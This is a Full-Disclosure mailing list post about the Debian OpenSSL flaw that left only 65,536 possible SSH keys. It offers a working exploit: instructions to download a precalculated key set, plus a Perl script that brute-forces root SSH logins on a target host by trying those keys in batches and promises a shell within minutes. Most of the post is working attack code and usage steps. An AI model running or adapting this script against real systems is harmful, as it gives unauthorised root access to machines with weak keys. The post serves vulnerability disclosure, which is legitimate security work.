[Full-disclosure] Working exploit for Debian generated SSH Keys



Hi full-disclosure,

the debian openssl issue leads that there are only 65.536 possible ssh
keys generated, cause the only entropy is the pid of the process
generating the key.

This leads to that the following perl script can be used with the
precalculated ssh keys to brute force the ssh login. It works if such a
keys is installed on a non-patched debian or any other system manual
configured to.

On an unpatched system, which doesn't need to be debian, do the following:

1. Download http://www.deadbeef.de/rsa.2048.tar.bzip2

2. Extract it to a directory

3. Enter into the /root/.ssh/authorized_keys a SSH RSA key with 2048
Bits, generated on an upatched debian (this is the key this exploit will
break)

4. Run the perl script and give it the location to where you extracted
the bzip2 mentioned.

#!/usr/bin/perl
my $keysPerConnect = 6;
unless ($ARGV[1]) {
print "Syntax : ./exploiter.pl pathToSSHPrivateKeys SSHhostToTry\n";
print "Example: ./exploiter.pl /root/keys/ 127.0.0.1\n";
print "By mm@xxxxxxxxxxx\n";
exit 0;
}
chdir($ARGV[0]);
opendir(A, $ARGV[0]) || die("opendir");
while ($_ = readdir(A)) {
chomp;
next unless m,^\d+$,;
push(@a, $_);
if (scalar(@a) > $keysPerConnect) {
system("echo ".join(" ", @a)."; ssh -l root ".join(" ", map { "-i
".$_ } @a)." ".$ARGV[1]);
@a = ();
}
}

5. Enjoy the shell after some minutes (less than 20 minutes)

Regards,
Markus Mueller
mm@xxxxxxxxxxx

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